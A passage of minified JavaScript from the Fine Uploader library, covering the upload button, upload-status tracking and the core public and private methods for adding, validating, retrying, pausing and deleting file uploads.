n},getButtonId:function(){return i},setMultiple:function(e,t){var n=t||this.getInput();a.ios8BrowserCrashWorkaround&&qq.ios8()&&(qq.iosChrome()||qq.iosSafariWebView())?n.setAttribute("multiple",""):e?n.setAttribute("multiple",""):n.removeAttribute("multiple")},setAcceptFiles:function(e){e!==a.acceptFiles&&n.setAttribute("accept",e)},reset:function(){n.parentNode&&qq(n).remove(),qq(a.element).removeClass(a.focusClass),n=null,n=t()}}),n=t()},qq.UploadButton.BUTTON_ID_ATTR_NAME="qq-button-id",qq.UploadData=function(e){"use strict";function t(e){if(qq.isArray(e)){var t=[];return qq.each(e,function(e,n){t.push(o[n])}),t}return o[e]}function n(e){if(qq.isArray(e)){var t=[];return qq.each(e,function(e,n){t.push(o[r[n]])}),t}return o[r[e]]}function i(e){var t=[],n=[].concat(e);return qq.each(n,function(e,n){var i=a[n];void 0!==i&&qq.each(i,function(e,n){t.push(o[n])})}),t}var o=[],r={},a={},s={},u={};qq.extend(this,{addFile:function(t){var n=t.status||qq.status.SUBMITTING,i=o.push({name:t.name,originalName:t.name,uuid:t.uuid,size:null==t.size?-1:t.size,status:n})-1;return t.batchId&&(o[i].batchId=t.batchId,void 0===u[t.batchId]&&(u[t.batchId]=[]),u[t.batchId].push(i)),t.proxyGroupId&&(o[i].proxyGroupId=t.proxyGroupId,void 0===s[t.proxyGroupId]&&(s[t.proxyGroupId]=[]),s[t.proxyGroupId].push(i)),o[i].id=i,r[t.uuid]=i,void 0===a[n]&&(a[n]=[]),a[n].push(i),e.onStatusChange(i,null,n),i},retrieve:function(e){return qq.isObject(e)&&o.length?void 0!==e.id?t(e.id):void 0!==e.uuid?n(e.uuid):e.status?i(e.status):void 0:qq.extend([],o,!0)},reset:function(){o=[],r={},a={},u={}},setStatus:function(t,n){var i=o[t].status,r=qq.indexOf(a[i],t);a[i].splice(r,1),o[t].status=n,void 0===a[n]&&(a[n]=[]),a[n].push(t),e.onStatusChange(t,i,n)},uuidChanged:function(e,t){var n=o[e].uuid;o[e].uuid=t,r[t]=e,delete r[n]},updateName:function(e,t){o[e].name=t},updateSize:function(e,t){o[e].size=t},setParentId:function(e,t){o[e].parentId=t},getIdsInProxyGroup:function(e){var t=o[e].proxyGroupId;return t?s[t]:[]},getIdsInBatch:function(e){var t=o[e].batchId;return u[t]}})},qq.status={SUBMITTING:"submitting",SUBMITTED:"submitted",REJECTED:"rejected",QUEUED:"queued",CANCELED:"canceled",PAUSED:"paused",UPLOADING:"uploading",UPLOAD_RETRYING:"retrying upload",UPLOAD_SUCCESSFUL:"upload successful",UPLOAD_FAILED:"upload failed",DELETE_FAILED:"delete failed",DELETING:"deleting",DELETED:"deleted"},function(){"use strict";qq.basePublicApi={addBlobs:function(e,t,n){this.addFiles(e,t,n)},addInitialFiles:function(e){var t=this;qq.each(e,function(e,n){t._addCannedFile(n)})},addFiles:function(e,t,n){this._maybeHandleIos8SafariWorkaround();var i=0===this._storedIds.length?qq.getUniqueId():this._currentBatchId,o=qq.bind(function(e){this._handleNewFile({blob:e,name:this._options.blobs.defaultName},i,d)},this),r=qq.bind(function(e){this._handleNewFile(e,i,d)},this),a=qq.bind(function(e){var t=qq.canvasToBlob(e);this._handleNewFile({blob:t,name:this._options.blobs.defaultName+".png"},i,d)},this),s=qq.bind(function(e){var t=e.quality&&e.quality/100,n=qq.canvasToBlob(e.canvas,e.type,t);this._handleNewFile({blob:n,name:e.name},i,d)},this),u=qq.bind(function(e){if(qq.isInput(e)&&qq.supportedFeatures.ajaxUploading){var t=Array.prototype.slice.call(e.files),n=this;qq.each(t,function(e,t){n._handleNewFile(t,i,d)})}else this._handleNewFile(e,i,d)},this),l=function(){qq.isFileList(e)&&(e=Array.prototype.slice.call(e)),e=[].concat(e)},c=this,d=[];this._currentBatchId=i,e&&(l(),qq.each(e,function(e,t){qq.isFileOrInput(t)?u(t):qq.isBlob(t)?o(t):qq.isObject(t)?t.blob&&t.name?r(t):t.canvas&&t.name&&s(t):t.tagName&&"canvas"===t.tagName.toLowerCase()?a(t):c.log(t+" is not a valid file container!  Ignoring!","warn")}),this.log("Received "+d.length+" files."),this._prepareItemsForUpload(d,t,n))},cancel:function(e){this._handler.cancel(e)},cancelAll:function(){var e=[],t=this;qq.extend(e,this._storedIds),qq.each(e,function(e,n){t.cancel(n)}),this._handler.cancelAll()},clearStoredFiles:function(){this._storedIds=[]},continueUpload:function(e){var t=this._uploadData.retrieve({id:e});return!(!qq.supportedFeatures.pause||!this._options.chunking.enabled)&&(t.status===qq.status.PAUSED?(this.log(qq.format("Paused file ID {} ({}) will be continued.  Not paused.",e,this.getName(e))),this._uploadFile(e),!0):(this.log(qq.format("Ignoring continue for file ID {} ({}).  Not paused.",e,this.getName(e)),"error"),!1))},deleteFile:function(e){return this._onSubmitDelete(e)},doesExist:function(e){return this._handler.isValid(e)},drawThumbnail:function(e,t,n,i,o){var r,a,s=new qq.Promise;return this._imageGenerator?(r=this._thumbnailUrls[e],a={customResizeFunction:o,maxSize:n>0?n:null,scale:n>0},!i&&qq.supportedFeatures.imagePreviews&&(r=this.getFile(e)),null==r?s.failure({container:t,error:"File or URL not found."}):this._imageGenerator.generate(r,t,a).then(function(e){s.success(e)},function(e,t){s.failure({container:e,error:t||"Problem generating thumbnail"})})):s.failure({container:t,error:"Missing image generator module"}),s},getButton:function(e){return this._getButton(this._buttonIdsForFileIds[e])},getEndpoint:function(e){return this._endpointStore.get(e)},getFile:function(e){return this._handler.getFile(e)||null},getInProgress:function(){return this._uploadData.retrieve({status:[qq.status.UPLOADING,qq.status.UPLOAD_RETRYING,qq.status.QUEUED]}).length},getName:function(e){return this._uploadData.retrieve({id:e}).name},getParentId:function(e){var t=this.getUploads({id:e}),n=null;return t&&void 0!==t.parentId&&(n=t.parentId),n},getResumableFilesData:function(){return this._handler.getResumableFilesData()},getSize:function(e){return this._uploadData.retrieve({id:e}).size},getNetUploads:function(){return this._netUploaded},getRemainingAllowedItems:function(){var e=this._currentItemLimit;return e>0?e-this._netUploadedOrQueued:null},getUploads:function(e){return this._uploadData.retrieve(e)},getUuid:function(e){return this._uploadData.retrieve({id:e}).uuid},log:function(e,t){!this._options.debug||t&&"info"!==t?t&&"info"!==t&&qq.log("[Fine Uploader "+qq.version+"] "+e,t):qq.log("[Fine Uploader "+qq.version+"] "+e)},pauseUpload:function(e){var t=this._uploadData.retrieve({id:e});if(!qq.supportedFeatures.pause||!this._options.chunking.enabled)return!1;if(qq.indexOf([qq.status.UPLOADING,qq.status.UPLOAD_RETRYING],t.status)>=0){if(this._handler.pause(e))return this._uploadData.setStatus(e,qq.status.PAUSED),!0;this.log(qq.format("Unable to pause file ID {} ({}).",e,this.getName(e)),"error")}else this.log(qq.format("Ignoring pause for file ID {} ({}).  Not in progress.",e,this.getName(e)),"error");return!1},reset:function(){this.log("Resetting uploader..."),this._handler.reset(),this._storedIds=[],this._autoRetries=[],this._retryTimeouts=[],this._preventRetries=[],this._thumbnailUrls=[],qq.each(this._buttons,function(e,t){t.reset()}),this._paramsStore.reset(),this._endpointStore.reset(),this._netUploadedOrQueued=0,this._netUploaded=0,this._uploadData.reset(),this._buttonIdsForFileIds=[],this._pasteHandler&&this._pasteHandler.reset(),this._options.session.refreshOnReset&&this._refreshSessionData(),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[],this._totalProgress&&this._totalProgress.reset()},retry:function(e){return this._manualRetry(e)},scaleImage:function(e,t){var n=this;return qq.Scaler.prototype.scaleImage(e,t,{log:qq.bind(n.log,n),getFile:qq.bind(n.getFile,n),uploadData:n._uploadData})},setCustomHeaders:function(e,t){this._customHeadersStore.set(e,t)},setDeleteFileCustomHeaders:function(e,t){this._deleteFileCustomHeadersStore.set(e,t)},setDeleteFileEndpoint:function(e,t){this._deleteFileEndpointStore.set(e,t)},setDeleteFileParams:function(e,t){this._deleteFileParamsStore.set(e,t)},setEndpoint:function(e,t){this._endpointStore.set(e,t)},setForm:function(e){this._updateFormSupportAndParams(e)},setItemLimit:function(e){this._currentItemLimit=e},setName:function(e,t){this._uploadData.updateName(e,t)},setParams:function(e,t){this._paramsStore.set(e,t)},setUuid:function(e,t){return this._uploadData.uuidChanged(e,t)},uploadStoredFiles:function(){0===this._storedIds.length?this._itemError("noFilesError"):this._uploadStoredFiles()}},qq.basePrivateApi={_addCannedFile:function(e){var t=this._uploadData.addFile({uuid:e.uuid,name:e.name,size:e.size,status:qq.status.UPLOAD_SUCCESSFUL});return e.deleteFileEndpoint&&this.setDeleteFileEndpoint(e.deleteFileEndpoint,t),e.deleteFileParams&&this.setDeleteFileParams(e.deleteFileParams,t),e.thumbnailUrl&&(this._thumbnailUrls[t]=e.thumbnailUrl),this._netUploaded++,this._netUploadedOrQueued++,t},_annotateWithButtonId:function(e,t){qq.isFile(e)&&(e.qqButtonId=this._getButtonId(t))},_batchError:function(e){this._options.callbacks.onError(null,null,e,void 0)},_createDeleteHandler:function(){var e=this;return new qq.DeleteFileAjaxRequester({method:this._options.deleteFile.method.toUpperCase(),maxConnections:this._options.maxConnections,uuidParamName:this._options.request.uuidName,customHeaders:this._deleteFileCustomHeadersStore,paramsStore:this._deleteFileParamsStore,endpointStore:this._deleteFileEndpointStore,cors:this._options.cors,log:qq.bind(e.log,e),onDelete:function(t){e._onDelete(t),e._options.callbacks.onDelete(t)},onDeleteComplete:function(t,n,i){e._onDeleteComplete(t,n,i),e._options.callbacks.onDeleteComplete(t,n,i)}})},_createPasteHandler:function(){var e=this;return new qq.PasteSupport({targetElement:this._options.paste.targetElement,callbacks:{log:qq.bind(e.log,e),pasteReceived:function(t){e._handleCheckedCallback({name:"onPasteReceived",callback:qq.bind(e._options.callbacks.onPasteReceived,e,t),onSuccess:qq.bind(e._handlePasteSuccess,e,t),identifier:"pasted image"})}}})},_createStore:function(e,t){var n={},i=e,o={},r=t,a=function(e){return qq.isObject(e)?qq.extend({},e):e},s=function(){return qq.isFunction(r)?r():r},u=function(e,t){r&&qq.isObject(t)&&qq.extend(t,s()),o[e]&&qq.extend(t,o[e])};return{set:function(e,t){null==t?(n={},i=a(e)):n[t]=a(e)},get:function(e){var t;return t=null!=e&&n[e]?n[e]:a(i),u(e,t),a(t)},addReadOnly:function(e,t){qq.isObject(n)&&(null===e?qq.isFunction(t)?r=t:(r=r||{},qq.extend(r,t)):(o[e]=o[e]||{},qq.extend(o[e],t)))},remove:function(e){return delete n[e]},reset:function(){n={},o={},i=e}}},_createUploadDataTracker:function(){var e=this;return new qq.UploadData({getName:function(t){return e.getName(t)},getUuid:function(t){return e.getUuid(t)},getSize:function(t){return e.getSize(t)},onStatusChange:function(t,n,i){e._onUploadStatusChange(t,n,i),e._options.callbacks.onStatusChange(t,n,i),e._maybeAllComplete(t,i),e._totalProgress&&setTimeout(function(){e._totalProgress.onStatusChange(t,n,i)},0)}})},_createUploadButton:function(e){function t(){return!!qq.supportedFeatures.ajaxUploading&&(!(i._options.workarounds.iosEmptyVideos&&qq.ios()&&!qq.ios6()&&i._isAllowedExtension(r,".mov"))&&(void 0===e.multiple?i._options.multiple:e.multiple))}var n,i=this,o=e.accept||this._options.validation.acceptFiles,r=e.allowedExtensions||this._options.validation.allowedExtensions;return n=new qq.UploadButton({acceptFiles:o,element:e.element,focusClass:this._options.classes.buttonFocus,folders:e.folders,hoverClass:this._options.classes.buttonHover,ios8BrowserCrashWorkaround:this._options.workarounds.ios8BrowserCrash,multiple:t(),name:this._options.request.inputName,onChange:function(e){i._onInputChange(e)},title:null==e.title?this._options.text.fileInputTitle:e.title}),this._disposeSupport.addDisposer(function(){n.dispose()}),i._buttons.push(n),n},_createUploadHandler:function(e,t){var n=this,i={},o={debug:this._options.debug,maxConnections:this._options.maxConnections,cors:this._options.cors,paramsStore:this._paramsStore,endpointStore:this._endpointStore,chunking:this._options.chunking,resume:this._options.resume,blobs:this._options.blobs,log:qq.bind(n.log,n),preventRetryParam:this._options.retry.preventRetryResponseProperty,onProgress:function(e,t,o,r){o<0||r<0||(i[e]?i[e].loaded===o&&i[e].total===r||(n._onProgress(e,t,o,r),n._options.callbacks.onProgress(e,t,o,r)):(n._onProgress(e,t,o,r),n._options.callbacks.onProgress(e,t,o,r)),i[e]={loaded:o,total:r})},onComplete:function(e,t,o,r){delete i[e];var a,s=n.getUploads({id:e}).status;s!==qq.status.UPLOAD_SUCCESSFUL&&s!==qq.status.UPLOAD_FAILED&&(a=n._onComplete(e,t,o,r),a instanceof qq.Promise?a.done(function(){n._options.callbacks.onComplete(e,t,o,r)}):n._options.callbacks.onComplete(e,t,o,r))},onCancel:function(e,t,i){var o=new qq.Promise;return n._handleCheckedCallback({name:"onCancel",callback:qq.bind(n._options.callbacks.onCancel,n,e,t),onFailure:o.failure,onSuccess:function(){i.then(function(){n._onCancel(e,t)}),o.success()},identifier:e}),o},onUploadPrep:qq.bind(this._onUploadPrep,this),onUpload:function(e,t){n._onUpload(e,t),n._options.callbacks.onUpload(e,t)},onUploadChunk:function(e,t,i){n._onUploadChunk(e,i),n._options.callbacks.onUploadChunk(e,t,i)},onUploadChunkSuccess:function(e,t,i,o){n._options.callbacks.onUploadChunkSuccess.apply(n,arguments)},onResume:function(e,t,i){return n._options.callbacks.onResume(e,t,i)},onAutoRetry:function(e,t,i,o){return n._onAutoRetry.apply(n,arguments)},onUuidChanged:function(e,t){n.log("Server requested UUID change from '"+n.getUuid(e)+"' to '"+t+"'"),n.setUuid(e,t)},getName:qq.bind(n.getName,n),getUuid:qq.bind(n.getUuid,n),getSize:qq.bind(n.getSize,n),setSize:qq.bind(n._setSize,n),getDataByUuid:function(e){return n.getUploads({uuid:e})},isQueued:function(e){var t=n.getUploads({id:e}).status;return t===qq.status.QUEUED||t===qq.status.SUBMITTED||t===qq.status.UPLOAD_RETRYING||t===qq.status.PAUSED},getIdsInProxyGroup:n._uploadData.getIdsInProxyGroup,getIdsInBatch:n._uploadData.getIdsInBatch};return qq.each(this._options.request,function(e,t){o[e]=t}),o.customHeaders=this._customHeadersStore,e&&qq.each(e,function(e,t){o[e]=t}),new qq.UploadHandlerController(o,t)},_fileOrBlobRejected:function(e){this._netUploadedOrQueued--,this._uploadData.setStatus(e,qq.status.REJECTED)},_formatSize:function(e){var t=-1;do e/=1e3,t++;while(e>999);return Math.max(e,.1).toFixed(1)+this._options.text.sizeSymbols[t]},_generateExtraButtonSpecs:function(){var e=this;this._extraButtonSpecs={},qq.each(this._options.extraButtons,function(t,n){var i=n.multiple,o=qq.extend({},e._options.validation,!0),r=qq.extend({},n);void 0===i&&(i=e._options.multiple),r.validation&&qq.extend(o,n.validation,!0),qq.extend(r,{multiple:i,validation:o},!0),e._initExtraButton(r)})},_getButton:function(e){var t=this._extraButtonSpecs[e];return t?t.element:e===this._defaultButtonId?this._options.button:void 0},_getButtonId:function(e){var t,n,i=e;if(i instanceof qq.BlobProxy&&(i=i.referenceBlob),i&&!qq.isBlob(i)){if(qq.isFile(i))return i.qqButtonId;if("input"===i.tagName.toLowerCase()&&"file"===i.type.toLowerCase())return i.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);if(t=i.getElementsByTagName("input"),qq.each(t,function(e,t){if("file"===t.getAttribute("type"))return n=t,!1}),n)return n.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME)}},_getNotFinished:function(){return this._uploadData.retrieve({status:[qq.status.UPLOADING,qq.status.UPLOAD_RETRYING,qq.status.QUEUED,qq.status.SUBMITTING,qq.status.SUBMITTED,qq.status.PAUSED]}).length},_getValidationBase:function(e){var t=this._extraButtonSpecs[e];return t?t.validation:this._options.validation},_getValidationDescriptor:function(e){return e.file instanceof qq.BlobProxy?{name:qq.getFilename(e.file.referenceBlob),size:e.file.referenceBlob.size}:{name:this.getUploads({id:e.id}).name,size:this.getUploads({id:e.id}).size}},_getValidationDescriptors:function(e){var t=this,n=[];return qq.each(e,function(e,i){n.push(t._getValidationDescriptor(i))}),n},_handleCameraAccess:function(){if(this._options.camera.ios&&qq.ios()){var e="image/*;capture=camera",t=this._options.camera.button,n=t?this._getButtonId(t):this._defaultButtonId,i=this._options;n&&n!==this._defaultButtonId&&(i=this._extraButtonSpecs[n]),i.multiple=!1,null===i.validation.acceptFiles?i.validation.acceptFiles=e:i.validation.acceptFiles+=","+e,qq.each(this._buttons,function(e,t){if(t.getButtonId()===n)return t.setMultiple(i.multiple),t.setAcceptFiles(i.acceptFiles),!1})}},_handleCheckedCallback:function(e){var t=this,n=e.callback();return qq.isGenericPromise(n)?(this.log(e.name+" - waiting for "+e.name+" promise to be fulfilled for "+e.identifier),n.then(function(n){t.log(e.name+" promise success for "+e.identifier),e.onSuccess(n)},function(){e.onFailure?(t.log(e.name+" promise failure for "+e.identifier),e.onFailure()):t.log(e.name+" promise failure for "+e.identifier)})):(n!==!1?e.onSuccess(n):e.onFailure?(this.log(e.name+" - return value was 'false' for "+e.identifier+".  Invoking failure callback."),e.onFailure()):this.log(e.name+" - return value was 'false' for "+e.identifier+".  Will not proceed."),n)},_handleNewFile:function(e,t,n){var i=this,o=qq.getUniqueId(),r=-1,a=qq.getFilename(e),s=e.blob||e,u=this._customNewFileHandler?this._customNewFileHandler:qq.bind(i._handleNewFileGeneric,i);!qq.isInput(s)&&s.size>=0&&(r=s.size),u(s,a,o,r,n,t,this._options.request.uuidName,{uploadData:i._uploadData,paramsStore:i._paramsStore,addFileToHandler:function(e,t){i._handler.add(e,t),i._netUploadedOrQueued++,i._trackButton(e)}})},_handleNewFileGeneric:function(e,t,n,i,o,r){
var a=this._uploadData.addFile({uuid:n,name:t,size:i,batchId:r});this._handler.add(a,e),this._trackButton(a),this._netUploadedOrQueued++,o.push({id:a,file:e})},_handlePasteSuccess:function(e,t){var n=e.type.split("/")[1],i=t;null==i&&(i=this._options.paste.defaultName),i+="."+n,this.addFiles({name:i,blob:e})},_initExtraButton:function(e){var t=this._createUploadButton({accept:e.validation.acceptFiles,allowedExtensions:e.validation.allowedExtensions,element:e.element,folders:e.folders,multiple:e.multiple,title:e.fileInputTitle});this._extraButtonSpecs[t.getButtonId()]=e},_initFormSupportAndParams:function(){this._formSupport=qq.FormSupport&&new qq.FormSupport(this._options.form,qq.bind(this.uploadStoredFiles,this),qq.bind(this.log,this)),this._formSupport&&this._formSupport.attachedToForm?(this._paramsStore=this._createStore(this._options.request.params,this._formSupport.getFormInputsAsObject),this._options.autoUpload=this._formSupport.newAutoUpload,this._formSupport.newEndpoint&&(this._options.request.endpoint=this._formSupport.newEndpoint)):this._paramsStore=this._createStore(this._options.request.params)},_isDeletePossible:function(){return!(!qq.DeleteFileAjaxRequester||!this._options.deleteFile.enabled)&&(!this._options.cors.expected||(!!qq.supportedFeatures.deleteFileCorsXhr||!(!qq.supportedFeatures.deleteFileCorsXdr||!this._options.cors.allowXdr)))},_isAllowedExtension:function(e,t){var n=!1;return!e.length||(qq.each(e,function(e,i){if(qq.isString(i)){var o=new RegExp("\\."+i+"$","i");if(null!=t.match(o))return n=!0,!1}}),n)},_itemError:function(e,t,n){function i(e,t){a=a.replace(e,t)}var o,r,a=this._options.messages[e],s=[],u=[].concat(t),l=u[0],c=this._getButtonId(n),d=this._getValidationBase(c);return qq.each(d.allowedExtensions,function(e,t){qq.isString(t)&&s.push(t)}),o=s.join(", ").toLowerCase(),i("{file}",this._options.formatFileName(l)),i("{extensions}",o),i("{sizeLimit}",this._formatSize(d.sizeLimit)),i("{minSizeLimit}",this._formatSize(d.minSizeLimit)),r=a.match(/(\{\w+\})/g),null!==r&&qq.each(r,function(e,t){i(t,u[e])}),this._options.callbacks.onError(null,l,a,void 0),a},_manualRetry:function(e,t){if(this._onBeforeManualRetry(e))return this._netUploadedOrQueued++,this._uploadData.setStatus(e,qq.status.UPLOAD_RETRYING),t?t(e):this._handler.retry(e),!0},_maybeAllComplete:function(e,t){var n=this,i=this._getNotFinished();t===qq.status.UPLOAD_SUCCESSFUL?this._succeededSinceLastAllComplete.push(e):t===qq.status.UPLOAD_FAILED&&this._failedSinceLastAllComplete.push(e),0===i&&(this._succeededSinceLastAllComplete.length||this._failedSinceLastAllComplete.length)&&setTimeout(function(){n._onAllComplete(n._succeededSinceLastAllComplete,n._failedSinceLastAllComplete)},0)},_maybeHandleIos8SafariWorkaround:function(){var e=this;if(this._options.workarounds.ios8SafariUploads&&qq.ios800()&&qq.iosSafari())throw setTimeout(function(){window.alert(e._options.messages.unsupportedBrowserIos8Safari)},0),new qq.Error(this._options.messages.unsupportedBrowserIos8Safari)},_maybeParseAndSendUploadError:function(e,t,n,i){if(!n.success)if(i&&200!==i.status&&!n.error)this._options.callbacks.onError(e,t,"XHR returned response code "+i.status,i);else{var o=n.error?n.error:this._options.text.defaultResponseError;this._options.callbacks.onError(e,t,o,i)}},_maybeProcessNextItemAfterOnValidateCallback:function(e,t,n,i,o){var r=this;if(t.length>n)if(e||!this._options.validation.stopOnFirstInvalidFile)setTimeout(function(){var e=r._getValidationDescriptor(t[n]),a=r._getButtonId(t[n].file),s=r._getButton(a);r._handleCheckedCallback({name:"onValidate",callback:qq.bind(r._options.callbacks.onValidate,r,e,s),onSuccess:qq.bind(r._onValidateCallbackSuccess,r,t,n,i,o),onFailure:qq.bind(r._onValidateCallbackFailure,r,t,n,i,o),identifier:"Item '"+e.name+"', size: "+e.size})},0);else if(!e)for(;n<t.length;n++)r._fileOrBlobRejected(t[n].id)},_onAllComplete:function(e,t){this._totalProgress&&this._totalProgress.onAllComplete(e,t,this._preventRetries),this._options.callbacks.onAllComplete(qq.extend([],e),qq.extend([],t)),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[]},_onAutoRetry:function(e,t,n,i,o){var r=this;if(r._preventRetries[e]=n[r._options.retry.preventRetryResponseProperty],r._shouldAutoRetry(e,t,n))return r._maybeParseAndSendUploadError.apply(r,arguments),r._options.callbacks.onAutoRetry(e,t,r._autoRetries[e]),r._onBeforeAutoRetry(e,t),r._retryTimeouts[e]=setTimeout(function(){r.log("Retrying "+t+"..."),r._uploadData.setStatus(e,qq.status.UPLOAD_RETRYING),o?o(e):r._handler.retry(e)},1e3*r._options.retry.autoAttemptDelay),!0},_onBeforeAutoRetry:function(e,t){this.log("Waiting "+this._options.retry.autoAttemptDelay+" seconds before retrying "+t+"...")},_onBeforeManualRetry:function(e){var t,n=this._currentItemLimit;return this._preventRetries[e]?(this.log("Retries are forbidden for id "+e,"warn"),!1):this._handler.isValid(e)?(t=this.getName(e),this._options.callbacks.onManualRetry(e,t)!==!1&&(n>0&&this._netUploadedOrQueued+1>n?(this._itemError("retryFailTooManyItems"),!1):(this.log("Retrying upload for '"+t+"' (id: "+e+")..."),!0))):(this.log("'"+e+"' is not a valid file ID","error"),!1)},_onCancel:function(e,t){this._netUploadedOrQueued--,clearTimeout(this._retryTimeouts[e]);var n=qq.indexOf(this._storedIds,e);!this._options.autoUpload&&n>=0&&this._storedIds.splice(n,1),this._uploadData.setStatus(e,qq.status.CANCELED)},_onComplete:function(e,t,n,i){return n.success?(n.thumbnailUrl&&(this._thumbnailUrls[e]=n.thumbnailUrl),this._netUploaded++,this._uploadData.setStatus(e,qq.status.UPLOAD_SUCCESSFUL)):(this._netUploadedOrQueued--,this._uploadData.setStatus(e,qq.status.UPLOAD_FAILED),n[this._options.retry.preventRetryResponseProperty]===!0&&(this._preventRetries[e]=!0)),this._maybeParseAndSendUploadError(e,t,n,i),!!n.success},_onDelete:function(e){this._uploadData.setStatus(e,qq.status.DELETING)},_onDeleteComplete:function(e,t,n){var i=this.getName(e);n?(this._uploadData.setStatus(e,qq.status.DELETE_FAILED),this.log("Delete request for '"+i+"' has failed.","error"),void 0===t.withCredentials?this._options.callbacks.onError(e,i,"Delete request failed",t):this._options.callbacks.onError(e,i,"Delete request failed with response code "+t.status,t)):(this._netUploadedOrQueued--,this._netUploaded--,this._handler.expunge(e),this._uploadData.setStatus(e,qq.status.DELETED),this.log("Delete request for '"+i+"' has succeeded."))},_onInputChange:function(e){var t;if(qq.supportedFeatures.ajaxUploading){for(t=0;t<e.files.length;t++)this._annotateWithButtonId(e.files[t],e);this.addFiles(e.files)}else e.value.length>0&&this.addFiles(e);qq.each(this._buttons,function(e,t){t.reset()})},_onProgress:function(e,t,n,i){this._totalProgress&&this._totalProgress.onIndividualProgress(e,n,i)},_onSubmit:function(e,t){},_onSubmitCallbackSuccess:function(e,t){this._onSubmit.apply(this,arguments),this._uploadData.setStatus(e,qq.status.SUBMITTED),this._onSubmitted.apply(this,arguments),this._options.autoUpload?(this._options.callbacks.onSubmitted.apply(this,arguments),this._uploadFile(e)):(this._storeForLater(e),this._options.callbacks.onSubmitted.apply(this,arguments))},_onSubmitDelete:function(e,t,n){var i,o=this.getUuid(e);return t&&(i=qq.bind(t,this,e,o,n)),this._isDeletePossible()?(this._handleCheckedCallback({name:"onSubmitDelete",callback:qq.bind(this._options.callbacks.onSubmitDelete,this,e),onSuccess:i||qq.bind(this._deleteHandler.sendDelete,this,e,o,n),identifier:e}),!0):(this.log("Delete request ignored for ID "+e+", delete feature is disabled or request not possible due to CORS on a user agent that does not support pre-flighting.","warn"),!1)},_onSubmitted:function(e){},_onTotalProgress:function(e,t){this._options.callbacks.onTotalProgress(e,t)},_onUploadPrep:function(e){},_onUpload:function(e,t){this._uploadData.setStatus(e,qq.status.UPLOADING)},_onUploadChunk:function(e,t){},_onUploadStatusChange:function(e,t,n){n===qq.status.PAUSED&&clearTimeout(this._retryTimeouts[e])},_onValidateBatchCallbackFailure:function(e){var t=this;qq.each(e,function(e,n){t._fileOrBlobRejected(n.id)})},_onValidateBatchCallbackSuccess:function(e,t,n,i,o){var r,a=this._currentItemLimit,s=this._netUploadedOrQueued;0===a||s<=a?t.length>0?this._handleCheckedCallback({name:"onValidate",callback:qq.bind(this._options.callbacks.onValidate,this,e[0],o),onSuccess:qq.bind(this._onValidateCallbackSuccess,this,t,0,n,i),onFailure:qq.bind(this._onValidateCallbackFailure,this,t,0,n,i),identifier:"Item '"+t[0].file.name+"', size: "+t[0].file.size}):this._itemError("noFilesError"):(this._onValidateBatchCallbackFailure(t),r=this._options.messages.tooManyItemsError.replace(/\{netItems\}/g,s).replace(/\{itemLimit\}/g,a),this._batchError(r))},_onValidateCallbackFailure:function(e,t,n,i){var o=t+1;this._fileOrBlobRejected(e[t].id,e[t].file.name),this._maybeProcessNextItemAfterOnValidateCallback(!1,e,o,n,i)},_onValidateCallbackSuccess:function(e,t,n,i){var o=this,r=t+1,a=this._getValidationDescriptor(e[t]);this._validateFileOrBlobData(e[t],a).then(function(){o._upload(e[t].id,n,i),o._maybeProcessNextItemAfterOnValidateCallback(!0,e,r,n,i)},function(){o._maybeProcessNextItemAfterOnValidateCallback(!1,e,r,n,i)})},_prepareItemsForUpload:function(e,t,n){if(0===e.length)return void this._itemError("noFilesError");var i=this._getValidationDescriptors(e),o=this._getButtonId(e[0].file),r=this._getButton(o);this._handleCheckedCallback({name:"onValidateBatch",callback:qq.bind(this._options.callbacks.onValidateBatch,this,i,r),onSuccess:qq.bind(this._onValidateBatchCallbackSuccess,this,i,e,t,n,r),onFailure:qq.bind(this._onValidateBatchCallbackFailure,this,e),identifier:"batch validation"})},_preventLeaveInProgress:function(){var e=this;this._disposeSupport.attach(window,"beforeunload",function(t){if(e.getInProgress())return t=t||window.event,t.returnValue=e._options.messages.onLeave,e._options.messages.onLeave})},_refreshSessionData:function(){var e=this,t=this._options.session;qq.Session&&null!=this._options.session.endpoint&&(this._session||(qq.extend(t,{cors:this._options.cors}),t.log=qq.bind(this.log,this),t.addFileRecord=qq.bind(this._addCannedFile,this),this._session=new qq.Session(t)),setTimeout(function(){e._session.refresh().then(function(t,n){e._sessionRequestComplete(),e._options.callbacks.onSessionRequestComplete(t,!0,n)},function(t,n){e._options.callbacks.onSessionRequestComplete(t,!1,n)})},0))},_sessionRequestComplete:function(){},_setSize:function(e,t){this._uploadData.updateSize(e,t),this._totalProgress&&this._totalProgress.onNewSize(e)},_shouldAutoRetry:function(e,t,n){var i=this._uploadData.retrieve({id:e});return!!(!this._preventRetries[e]&&this._options.retry.enableAuto&&i.status!==qq.status.PAUSED&&(void 0===this._autoRetries[e]&&(this._autoRetries[e]=0),this._autoRetries[e]<this._options.retry.maxAutoAttempts))&&(this._autoRetries[e]+=1,!0)},_storeForLater:function(e){this._storedIds.push(e)},_trackButton:function(e){var t;t=qq.supportedFeatures.ajaxUploading?this._handler.getFile(e).qqButtonId:this._getButtonId(this._handler.getInput(e)),t&&(this._buttonIdsForFileIds[e]=t)},_updateFormSupportAndParams:function(e){this._options.form.element=e,this._formSupport=qq.FormSupport&&new qq.FormSupport(this._options.form,qq.bind(this.uploadStoredFiles,this),qq.bind(this.log,this)),this._formSupport&&this._formSupport.attachedToForm&&(this._paramsStore.addReadOnly(null,this._formSupport.getFormInputsAsObject),this._options.autoUpload=this._formSupport.newAutoUpload,this._formSupport.newEndpoint&&this.setEndpoint(this._formSupport.newEndpoint))},_upload:function(e,t,n){var i=this.getName(e);t&&this.setParams(t,e),n&&this.setEndpoint(n,e),this._handleCheckedCallback({name:"onSubmit",callback:qq.bind(this._options.callbacks.onSubmit,this,e,i),onSuccess:qq.bind(this._onSubmitCallbackSuccess,this,e,i),onFailure:qq.bind(this._fileOrBlobRejected,this,e,i),identifier:e})},_uploadFile:function(e){this._handler.upload(e)||this._uploadData.setStatus(e,qq.status.QUEUED)},_uploadStoredFiles:function(){for(var e,t,n=this;this._storedIds.length;)e=this._storedIds.shift(),this._uploadFile(e);t=this.getUploads({status:qq.status.SUBMITTING}).length,t&&(qq.log("Still waiting for "+t+" files to clear submit queue. Will re-parse stored IDs array 